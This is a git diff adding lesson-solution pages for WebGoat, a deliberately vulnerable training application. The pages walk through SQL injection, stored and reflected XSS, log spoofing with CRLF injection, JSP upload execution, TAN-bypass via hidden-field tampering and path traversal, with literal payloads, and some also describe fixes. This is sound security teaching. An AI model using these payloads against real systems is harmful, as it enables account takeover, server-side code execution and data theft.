+PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+
+
+Now that the query is prepared we have to add the parameters to the query:
+
+statement.setString(1, userId);
+statement.setString(2, password);
+
+
+
+We are ready to execute the query!
+
+ResultSet answer_results = statement.executeQuery();
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab SQL Injection/Lab Parameterized Query #2.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab SQL Injection/Lab Parameterized Query #2.html
new file mode 100644
index 000000000..8016c18a9
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab SQL Injection/Lab Parameterized Query #2.html
@@ -0,0 +1,51 @@
+
+
+
+
+Solution Lab SQL Injection Stage4
+
+
+
+
Lesson Plan Title: How to Perform a SQLInjection
+
+
Concept / Topic To Teach:
+SQL injection attacks represent a serious threat to any database-driven
+site. The methods behind an attack are easy to learn and the damage
+caused can range from considerable to complete system compromise.
+Despite these risks, an incredible number of systems on the internet are
+susceptible to this form of attack.
+
+
Not only is it a threat easily instigated, it is also a threat
+that, with a little common-sense and forethought, can easily be
+prevented.
+
+
It is always good practice to sanitize all input data, especially
+data that will used in OS command, scripts, and database queiries, even
+if the threat of SQL injection has been prevented in some other manner.
+
+
+
General Goal(s):
+For this exercise, you will perform SQLInjection attacks. You will also
+implement code changes in the web application to defeat these attacks.
+
+Solution:
+The solution is simular to Stage2. That is why here is only a short solution.
+You have to alter the class org.owasp.webgoat.lessons.SQLInjection.ViewProfile.java
+Alter the method getEmployeeProfile to something like this:
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab SQL Injection/Lab String SQL Injection.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab SQL Injection/Lab String SQL Injection.html
new file mode 100644
index 000000000..ce1d354a7
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab SQL Injection/Lab String SQL Injection.html
@@ -0,0 +1,39 @@
+
+
+
+
+Solution Lab SQL Injection Stage1
+
+
+
+
Lesson Plan Title: How to Perform a SQLInjection
+
+
Concept / Topic To Teach:
+SQL injection attacks represent a serious threat to any database-driven
+site. The methods behind an attack are easy to learn and the damage
+caused can range from considerable to complete system compromise.
+Despite these risks, an incredible number of systems on the internet are
+susceptible to this form of attack.
+
+
Not only is it a threat easily instigated, it is also a threat
+that, with a little common-sense and forethought, can easily be
+prevented.
+
+
It is always good practice to sanitize all input data, especially
+data that will used in OS command, scripts, and database queiries, even
+if the threat of SQL injection has been prevented in some other manner.
+
+
+
General Goal(s):
+For this exercise, you will perform SQLInjection attacks. You will also
+implement code changes in the web application to defeat these attacks.
+
+
Solution:
+Select Neville as user to log in. Make sure WebScarab will intercept the next request.
+Hit the Login Button and Change the password parameter in WebScarab to smith' OR '1' = '1.
+Et voila you are logged in as Neville without knowing the password as the query
+will lookup if the password is smith and if not it controls if 1=1 what
+return true.
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Block Reflected XSS.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Block Reflected XSS.html
new file mode 100644
index 000000000..28a31d1eb
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Block Reflected XSS.html
@@ -0,0 +1,32 @@
+
+
+
+
+Solution Lab Block Stored XSS
+
+
+
+
Lesson Plan Title: How to Perform Cross Site Scripting (XSS)
+
+
Concept / Topic To Teach:
+It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.
+XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.
+
+
+
General Goal(s):
+For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks.
+
+
+Solution:
+The Solution is rather simular to stage 2. You have to edit org.owasp.webgoat.lessons.CrossSiteScripting.FindProfile.java.
+Alter the method getRequestParameter. The body of the mehtod should look something like this:
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Block Stored XSS using Input Validation.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Block Stored XSS using Input Validation.html
new file mode 100644
index 000000000..fd834d3c0
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Block Stored XSS using Input Validation.html
@@ -0,0 +1,46 @@
+
+
+
+
+Solution Lab Block Stored XSS
+
+
+
+
Lesson Plan Title: How to Perform Cross Site Scripting (XSS)
+
+
Concept / Topic To Teach:
+It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.
+XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.
+
+
+
General Goal(s):
+For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks.
+
+
+
Solution:
+You have to alter the method parseEmployeeProfile in the class UpdateProfile.java which is
+placed in the package org.owasp.webgoat.lessons.CrossSiteScripting
+The place to code is marked! Following code will work:
+
+This validation allows following:
+\s = whitspace: \t\n\x0B\f\r
+\w = word: a-zA-Z_0-9
+and the characters - and ,
+
+
+Use of any other character will throw a Validation Exception.
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Block Stored XSS using Output Encoding.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Block Stored XSS using Output Encoding.html
new file mode 100644
index 000000000..52a4b3283
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Block Stored XSS using Output Encoding.html
@@ -0,0 +1,26 @@
+
+
+
+
+Solution Lab Block Stored XSS
+
+
+
+
Lesson Plan Title: How to Perform Cross Site Scripting (XSS)
+
+
Concept / Topic To Teach:
+It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.
+XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.
+
+
+
General Goal(s):
+For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks.
+
+
+
Solution:
+You have to use a static method called encode(String s) which is part of the class org.owasp.webgoat.util.HtmlEncoder.
+
This method changes all special characters in the string. Now you have to use this method in the getEmployeeProfile method in the org.owasp.webgoat.lessons.CrossSiteScripting.ViewProfile class.
+Replace all answer_results.getString(someString) with HtmlEncoder.encode(answer_results.getString(someString)) and you are done.
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Reflected XSS.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Reflected XSS.html
new file mode 100644
index 000000000..e53bc0e3c
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Reflected XSS.html
@@ -0,0 +1,27 @@
+
+
+
+
+Solution Lab Block Stored XSS
+
+
+
+
Lesson Plan Title: How to Perform Cross Site Scripting (XSS)
+
+
Concept / Topic To Teach:
+It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.
+XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.
+
+
+
General Goal(s):
+For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks.
+
+
+
Solution:
+First log in as an user for example as Larry with password larry. Now click on
+the 'SearchStaff' Button. Burry a script in the field for example:
+<script>alert("Dangerous");</script>. Now hit
+the 'FindProfile' Button and you are done.
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Stored XSS Revisited.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Stored XSS Revisited.html
new file mode 100644
index 000000000..50f976cc4
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Stored XSS Revisited.html
@@ -0,0 +1,27 @@
+
+
+
+
+Solution Lab Block Stored XSS
+
+
+
+
Lesson Plan Title: How to Perform Cross Site Scripting (XSS)
+
+
Concept / Topic To Teach:
+It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.
+XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.
+
+
+
General Goal(s):
+For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks.
+
+
+
Solution:
+Log in as David with david as password. Choose Bruce from the List and click
+on the 'ViewProfile' Button.
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Stored XSS.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Stored XSS.html
new file mode 100644
index 000000000..a57dc020a
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/Lab Stored XSS.html
@@ -0,0 +1,36 @@
+
+
+
+
+Solution Lab Block Stored XSS
+
+
+
+
Lesson Plan Title: How to Perform Cross Site Scripting (XSS)
+
+
Concept / Topic To Teach:
+It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.
+XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.
+
+
+
General Goal(s):
+For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks.
+
+
+
Solution:
+First Login as Tom with tom as password. Select Tom from the list and click on the View Profile Button.
+Now should appear Tom's Profile. Click on the 'Edit Profile' Button and try an XSS attack on the street filed.
+For example: <script>alert("Got Ya");</script>
+Click on the UpdateProfile Button and Log out.
+
+
+
+
+
+Now log in as Jerry with jerry as password. Select from the the list the profile of tom and hit the
+ViewProfile Button. Congratulation! You have completed the lesson.
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/images/stored_xss.png b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/images/stored_xss.png
new file mode 100644
index 000000000..83aa7983e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab XSS/images/stored_xss.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing.html b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing.html
new file mode 100644
index 000000000..c1538709d
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing.html
@@ -0,0 +1,793 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Perform Log Spoofing.
+
+
+
+
Concept /
+Topic To Teach:
+
+
This lesson
+teaches attempts to fool the human eye.
+
+
+
+
How the
+attacks works: The attack
+is based on fooling the human eye in log files. An attacker can erase his
+traces from the logs using this attack.
+
+
+
+
General
+Goal(s):
+
+
The
+grey area below represents what is going to be logged in the web server's log
+file.
+Your goal is to make it like a username "admin" has succeeded into
+logging in.
+Elevate your attack by adding a script to the log file.
+
+
+
+
+
+
Figure 1 Log Spoofing
+
+
+
+
Solution:
+
+
+
+
This lesson accepts any input for a username and appends the information
+to the log file.
+
+
+
+
Enter for username the text: smith Login Succeeded for username admin
+
+
+
+
+
+
Figure 2 Log spoof with long text
+
+
+
+
The text is added to the same line, not a new line. But any input is
+allowed.
+
+
In this way you can inject carriage return (%0d) and line feed (%0a) to
+the application.
+
+
+
+
Fill out the following text for the username: Smith%0d%0aLogin Succeeded
+for username: admin
+
+
+
+
+
+
Figure 3 Lesson completed
+
+
+
+
An attacker
+can use this attack to add malicious JavaScript to the log file, which will be
+viewed by the administrator using a browser. What happens when you inject admin
+<script>alert(document.cookie)</script> for the username?
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/Thumbs.db b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/Thumbs.db
new file mode 100644
index 000000000..c8864bbfb
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/Thumbs.db differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/filelist.xml
new file mode 100644
index 000000000..66f2f27d6
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/filelist.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image001.png
new file mode 100644
index 000000000..59ffaca93
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image003.png
new file mode 100644
index 000000000..100684c5f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image005.png
new file mode 100644
index 000000000..0174b03b0
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image007.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image007.jpg
new file mode 100644
index 000000000..50abf182f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image007.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image008.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image008.jpg
new file mode 100644
index 000000000..afd0c3eb3
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image008.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image009.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image009.jpg
new file mode 100644
index 000000000..259e28f16
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/image009.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/LogSpoofing_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/MaliciousFileExecution.html b/webgoat-5.4/src/main/webapp/lesson_solutions/MaliciousFileExecution.html
new file mode 100644
index 000000000..0a4e0b348
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/MaliciousFileExecution.html
@@ -0,0 +1,46 @@
+
+
+
+
+Solution: Malicious File Execution
+
+
+
+
Lesson Plan Title: Malicious File Execution
+
+
Concept / Topic To Teach:
+Many sites allow the user to upload files, such as images or videos. Without the proper security, files containing malicious commands can be and then executed on the server.
+
+
+
General Goal(s):
+The form below allows you to upload an image which will be displayed on this page. Features like this are often found on web based discussion boards and social networking sites. This feature is vulnerable to Malicious File Execution.
+
+In order to pass this lession, upload and run a malicious file. In order to prove that your file can execute, it should create another file named guest.txt
+
+Once you have created this file, you will pass the lesson.
+
+
+Solution:
+The first step of malicious file execution is to create a file that we can run on the server. In this lesson, our goal is to create the file guest.txt in the directory provided in the lesson (the path is generated based on your system).
+To do this, we write a .jsp file that uses the java createNewFile() command. The file contents will look like this:
+
+<HTML>
+<%
+java.io.File file = new java.io.File("filepath\\guest.txt");
+file.createNewFile();
+%>
+</HTML>
+The <% indicates that the upcoming code is a java servlet, so java code is allowed. Make sure you fill in the filepath correctly - each directory must be separated by \\, not \. The filename of the .jsp doesn't matter, as long as you know what it is.
+Next, we need to figure out where the files are being uploaded so we can execute them. In this case, since we are shown the image, this is very easy. Upload an image using the form, then right click on it and check its properties.
+
+Viewing properties of the uploaded image in Firefox.
+
+File path for the uploaded image (and our .jsp) in Firefox.
+The URL should look something like http://localhost/WebGoat/uploads/image.jpg.
+The last step is to upload our malicious .jsp and browse to it so it will execute. Upload the file, then type its address into your browser. The address should be something like http://localhost/WebGoat/uploads/yourfile.jsp.
+A blank page will load. You can then return to the lesson and refresh, completing the lesson.
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/MaliciousFileExecution_files/image001.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/MaliciousFileExecution_files/image001.jpg
new file mode 100644
index 000000000..4c69a2352
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/MaliciousFileExecution_files/image001.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/MaliciousFileExecution_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/MaliciousFileExecution_files/image002.jpg
new file mode 100644
index 000000000..8a2189e3e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/MaliciousFileExecution_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1.html b/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1.html
new file mode 100644
index 000000000..d45f1508b
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1.html
@@ -0,0 +1,71 @@
+
+
+
+
+Multi Level Login 1
+
+
+
+
Lesson Plan Title: Multi Level Login 1
+
+
Concept / Topic To Teach:
+A Multi Level Login should provide a strong authentication.
+This is archived by adding a second layer. After having logged
+in with your user name and password you are asked for a
+'Transaction Authentication Number' (TAN). This is often used by
+online banking. You get a list with a lots of TANs generated only
+for you by the bank. Each TAN is used only once. Another method is
+to provide the TAN by SMS. This has the advantage that an attacker
+ can not get TANs provided by the user.
+
+
+
General Goal(s):
+In this Lesson you try to get around the strong authentication.
+You have to break into another account. The user name, password
+and a already used TAN is provided. You have to make sure the server
+accept the TAN even it is already used.
+
+
+Solution:
+This Lesson has two stages. The first stage is only to show how a multi level login
+works. In the second you have to break the strong authentication.
+
+Stage 1
+This stage should be rather straight forward. Give in as name Jane
+and as password tarzan.
+
+
+Figure 1: Login Screen
+
+Afthr clicking on the submit button
+you will be asked for the TAN.
+
+
+Figure 2: TAN Screen
+
+
+Choose the correct TAN from the
+list provided, click on the submit button and you are done.
+
+
+Stage 2
+The first step in this stage is equal to Stage 1. Log in as Jane with tarzan as password.
+Now you will be asked for a TAN. Unfortunately you have only a already
+used TAN from the victim. Fill in the TAN you have and make sure that WebScarab
+will intercept the next request. Hit the submit button and change the hidden_tan
+value to 1.
+
+
+Figure 3: Manipulation Of The Hidden Field With WebScarab
+
+Congratulations you are logged in as Jane.
+
+
+
+Figure 4: Manipulation Of The Hidden Field With WebScarab
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/login.png b/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/login.png
new file mode 100644
index 000000000..2cf17feb8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/login.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/success.png b/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/success.png
new file mode 100644
index 000000000..3179d178e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/success.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/tan.png b/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/tan.png
new file mode 100644
index 000000000..896334751
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/tan.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/webscarab.png b/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/webscarab.png
new file mode 100644
index 000000000..75acaa951
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin1_files/webscarab.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin2.html b/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin2.html
new file mode 100644
index 000000000..bb63045b9
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin2.html
@@ -0,0 +1,43 @@
+
+
+
+
+Multi Level Login 2
+
+
+
+
Lesson Plan Title: Multi Level Login 2
+
+
Concept / Topic To Teach:
+A Multi Level Login should provide a strong authentication.
+This is archived by adding a second layer. After having logged
+in with your user name and password you are asked for a
+'Transaction Authentication Number' (TAN). This is often used by
+online banking. You get a list with a lots of TANs generated only
+for you by the bank. Each TAN is used only once. Another method is
+to provide the TAN by SMS. This has the advantage that an attacker
+ can not get TANs provided by the user.
+
+
+
General Goal(s):
+In this lesson you have to try to break into another account.
+You have an own account for WebGoat Financial but you want to log into
+another account only knowing the user name of the victim to attack.
+
+
+Solution:
+The solution for this lesson is similar to the solution from
+multi level login 1 stage 2 but the approach is a little different.
+This time you have only the user name of your victim but an own account
+on WebGoat Financial.
+Log in as Joe with password banana. Now make sure the next request will be intercepted
+by WebScarab. Fill in the TAN you are asked for and hit the submit button.
+Change now the hidden_user value from Joe to Jane and you are logged in
+as Jane.
+
+
+Figure 1: Manipulation Of The Hidden Field With WebScarab
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin2_files/success.png b/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin2_files/success.png
new file mode 100644
index 000000000..86bad431a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/MultiLevelLogin2_files/success.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/OffByOne.html b/webgoat-5.4/src/main/webapp/lesson_solutions/OffByOne.html
new file mode 100644
index 000000000..0447a1fbc
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/OffByOne.html
@@ -0,0 +1,14 @@
+
+
+
+
+Solution: Modify Data with SQL
+
+
+
+
Lesson Plan Title: Off By One Buffer Overflows
+
+
This new lesson does not yet have a detailed solution. If you would like to provide a solution for this lesson, please send an e-mail to WebGoat@owasp.org.
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/PasswordStrength.html b/webgoat-5.4/src/main/webapp/lesson_solutions/PasswordStrength.html
new file mode 100644
index 000000000..2a587e50b
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/PasswordStrength.html
@@ -0,0 +1,38 @@
+
+
+
+
+password Strength
+
+
+
+
Lesson Plan Title: Password Strength
+
+
Concept / Topic To Teach:
+
+Accounts are only as secure as there passwords. Most users have the same weak password everywhere. If you want to protect them against brute-force-attacks your application should have good requirements for passwords. The password should contain lower case letters, capitals and numbers. The longer the password, the better.
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/PasswordStrength_files/image001.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/PasswordStrength_files/image001.jpg
new file mode 100644
index 000000000..3173ee9a6
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/PasswordStrength_files/image001.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/PasswordStrength_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/PasswordStrength_files/image002.jpg
new file mode 100644
index 000000000..4612b9a10
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/PasswordStrength_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/PasswordStrength_files/image003.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/PasswordStrength_files/image003.jpg
new file mode 100644
index 000000000..182e8f174
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/PasswordStrength_files/image003.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl.html b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl.html
new file mode 100644
index 000000000..80c9bdb5a
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl.html
@@ -0,0 +1,650 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson Plan Title: How to Bypass a Path Based Access
+Control Scheme
+
+
Concept / Topic To Teach:
+
+In a path based access control scheme,
+an attacker can traverse a path by providing relative path information.
+Therefore an attacker can use relative paths to access files that normally are
+not directly accessible by anyone, or would otherwise be denied if requested
+directly.
+
+
General Goal(s):
+
+The user should be able to
+access a file that is not in the listed directory.
+
+
+
+
Figure 1 Lesson 8
+
+
+
+
Solution:
+
+
+
+
This lesson
+can be solved by intercepting the filename in WebScarab and replacing it with
+../main.jsp which is a file located in a folder below the current directory.
+
+
+
+
+
+
Figure 2 Change the variable File
+
+
+
+
+
+
Figure 3 Lessen 8 Completed
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/filelist.xml
new file mode 100644
index 000000000..496ea3696
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/filelist.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image001.png
new file mode 100644
index 000000000..089968f01
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image002.jpg
new file mode 100644
index 000000000..4d4b17604
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image003.png
new file mode 100644
index 000000000..0bc317162
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image004.jpg
new file mode 100644
index 000000000..7978fe44b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/PathBasedAccessControl_files/image004.jpg differ
